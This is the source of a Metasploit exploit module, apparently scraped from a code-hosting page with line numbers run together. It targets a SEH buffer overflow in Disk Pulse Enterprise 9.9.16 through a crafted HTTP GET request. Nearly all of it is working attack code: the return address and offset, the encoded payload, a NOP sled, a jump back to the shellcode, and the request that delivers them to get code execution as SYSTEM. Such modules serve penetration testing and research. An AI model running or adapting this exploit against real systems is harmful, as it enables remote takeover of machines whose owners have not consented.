Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/disk_pulse_enterprise_get.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'Disk Pulse Enterprise GET Buffer Overflow',14'Description' => %q(15This module exploits an SEH buffer overflow in Disk Pulse Enterprise169.9.16. If a malicious user sends a crafted HTTP GET request17it is possible to execute a payload that would run under the Windows18NT AUTHORITY\SYSTEM account.19),20'License' => MSF_LICENSE,21'Author' =>22[23'Chance Johnson', # msf module - [email protected]24'Nipun Jaswal & Anurag Srivastava' # Original discovery -- www.pyramidcyber.com25],26'References' =>27[28[ 'EDB', '42560' ]29],30'DefaultOptions' =>31{32'EXITFUNC' => 'thread'33},34'Platform' => 'win',35'Payload' =>36{37'EncoderType' => "alpha_mixed",38'BadChars' => "\x00\x0a\x0d\x26"39},40'Targets' =>41[42[ 'Disk Pulse Enterprise 9.9.16',43{44'Ret' => 0x1013ADDD, # POP EDI POP ESI RET 04 -- libpal.dll45'Offset' => 249246}]47],48'Privileged' => true,49'DisclosureDate' => '2017-08-25',50'DefaultTarget' => 0))5152register_options([Opt::RPORT(80)])53end5455def check56res = send_request_cgi(57'uri' => '/',58'method' => 'GET'59)6061if res && res.code == 200 && res.body =~ /Disk Pulse Enterprise v9\.9\.16/62return Exploit::CheckCode::Appears63end6465return Exploit::CheckCode::Safe66end6768def exploit69connect7071print_status("Generating exploit...")72exp = payload.encoded73exp << 'A' * (target['Offset'] - payload.encoded.length) # buffer of trash until we get to offset74exp << generate_seh_record(target.ret)75exp << make_nops(10) # NOP sled to make sure we land on jmp to shellcode76exp << "\xE9\x25\xBF\xFF\xFF" # jmp 0xffffbf2a - jmp back to shellcode start77exp << 'B' * (5000 - exp.length) # padding7879print_status("Sending exploit...")8081send_request_cgi(82'uri' => '/../' + exp,83'method' => 'GET',84'host' => '4.2.2.2',85'connection' => 'keep-alive'86)8788handler89disconnect90end91end929394